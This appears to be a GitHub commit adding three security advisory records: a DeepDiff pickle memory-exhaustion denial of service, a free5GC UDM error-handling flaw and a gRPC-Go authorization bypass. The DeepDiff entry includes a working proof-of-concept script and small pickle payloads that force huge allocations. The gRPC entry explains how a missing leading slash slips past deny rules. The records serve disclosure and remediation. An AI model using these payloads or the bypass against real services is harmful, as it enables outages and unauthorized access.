Skip to content

Commit 9e5b282

Browse files

File tree

6 files changed

+594
-0
lines changed

6 files changed

+594
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-54jj-px8x-5w5q",
4+
"modified": "2026-03-18T20:10:08Z",
5+
"published": "2026-03-18T20:10:08Z",
6+
"aliases": [
7+
"CVE-2026-33155"
8+
],
9+
"summary": "DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT",
10+
"details": "### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes (passes find_class check — serialization.py:353)\nINT 10000000000 (10 billion)\nTUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n \"\"\"Cap virtual memory for this process.\"\"\"\n soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n maxsize_bytes = maxsize_mb * 1024 * 1024\n try:\n resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n except ValueError:\n print(\"[!] Failed to set memory limit.\")\n sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n 'values_changed': {\"root['x']\": {'new_value': 10**8}},\n 'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n result = target + Delta(payload1)\n print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n b\"(dp0\\n\"\n b\"S'_'\\n\"\n b\"cbuiltins\\nbytes\\n\"\n b\"(I100000000\\n\"\n b\"tR\"\n b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n result2 = pickle_load(payload2)\n print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "deepdiff"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "5.0.0"
29+
},
30+
{
31+
"fixed": "8.6.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 8.6.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/seperman/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/seperman/deepdiff"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-400"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-18T20:10:08Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-958m-gxmc-mccm",
4+
"modified": "2026-03-18T20:07:17Z",
5+
"published": "2026-03-18T20:07:17Z",
6+
"aliases": [
7+
"CVE-2026-33065"
8+
],
9+
"summary": "free5GC UDM incorrectly returns 500 for empty supi path parameter in DELETE sdm-subscriptions request",
10+
"details": "**Impact** \nThis is an Improper Error Handling vulnerability with Information Exposure implications. \n- **Security Impact**: The UDM incorrectly converts a downstream 400 Bad Request (from UDR) into a 500 Internal Server Error when handling DELETE requests with an empty `supi` path parameter. This leaks internal error handling behavior and makes it difficult for clients to distinguish between client-side errors and server-side failures. \n- **Functional Impact**: When a client sends a DELETE request with an empty `supi` (e.g., double slashes `//` in URL path), the UDM forwards the malformed request to UDR, which correctly returns 400. However, UDM propagates this as 500 SYSTEM_FAILURE instead of returning the appropriate 400 error to the client. This violates REST API best practices for DELETE operations. \n- **Affected Parties**: All deployments of free5GC v4.0.1 using the UDM Nudm_SDM service with DELETE operations on sdm-subscriptions endpoint.\n\n**Patches** \nYes, the issue has been patched. \nThe fix is implemented in PR free5gc/udm#79. \nUsers should upgrade to the next release of free5GC that includes this commit.\n\n**Workarounds** \nThere is no direct workaround at the application level. The recommendation is to apply the provided patch or implement API gateway-level validation to reject DELETE requests with empty path parameters before they reach UDM.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/free5gc/udm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-958m-gxmc-mccm"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/free5gc/free5gc/issues/783"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/free5gc/udm/pull/79"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/free5gc/udm/commit/88de9fa74a1b3f3522e53b4cfa2d184712ffa4ee"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/free5gc/free5gc"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-209"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-03-18T20:07:17Z",
67+
"nvd_published_at": null
68+
}
69+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-p77j-4mvh-x3m3",
4+
"modified": "2026-03-18T20:10:29Z",
5+
"published": "2026-03-18T20:10:29Z",
6+
"aliases": [
7+
"CVE-2026-33186"
8+
],
9+
"summary": "gRPC-Go has an authorization bypass via missing leading slash in :path",
10+
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nIt is an **Authorization Bypass** resulting from **Improper Input Validation** of the HTTP/2 `:path` pseudo-header.\n\nThe gRPC-Go server was too lenient in its routing logic, accepting requests where the `:path` omitted the mandatory leading slash (e.g., `Service/Method` instead of `/Service/Method`). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official `grpc/authz` package) evaluated the raw, non-canonical path string. Consequently, \"deny\" rules defined using canonical paths (starting with `/`) failed to match the incoming request, allowing it to bypass the policy if a fallback \"allow\" rule was present.\n\n**Who is impacted?**\nThis affects gRPC-Go servers that meet both of the following criteria:\n1. They use path-based authorization interceptors, such as the official RBAC implementation in `google.golang.org/grpc/authz` or custom interceptors relying on `info.FullMethod` or `grpc.Method(ctx)`.\n2. Their security policy contains specific \"deny\" rules for canonical paths but allows other requests by default (a fallback \"allow\" rule).\n\nThe vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed `:path` headers directly to the gRPC server.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, the issue has been patched. The fix ensures that any request with a `:path` that does not start with a leading slash is immediately rejected with a `codes.Unimplemented` error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string.\n\nUsers should upgrade to the following versions (or newer):\n* **v1.79.3**\n* The latest **master** branch.\n\nIt is recommended that all users employing path-based authorization (especially `grpc/authz`) upgrade as soon as the patch is available in a tagged release.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nWhile upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods:\n\n#### 1. Use a Validating Interceptor (Recommended Mitigation)\nAdd an \"outermost\" interceptor to your server that validates the path before any other authorization logic runs:\n\n```go\nfunc pathValidationInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {\n if info.FullMethod == \"\" || info.FullMethod[0] != '/' {\n return nil, status.Errorf(codes.Unimplemented, \"malformed method name\")\n } \n return handler(ctx, req)\n}\n\n// Ensure this is the FIRST interceptor in your chain\ns := grpc.NewServer(\n grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor),\n)\n```\n\n#### 2. Infrastructure-Level Normalization\nIf your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the `:path` header does not start with a leading slash.\n\n#### 3. Policy Hardening\nSwitch to a \"default deny\" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "google.golang.org/grpc"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.79.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/grpc/grpc-go"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-285"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-18T20:10:29Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)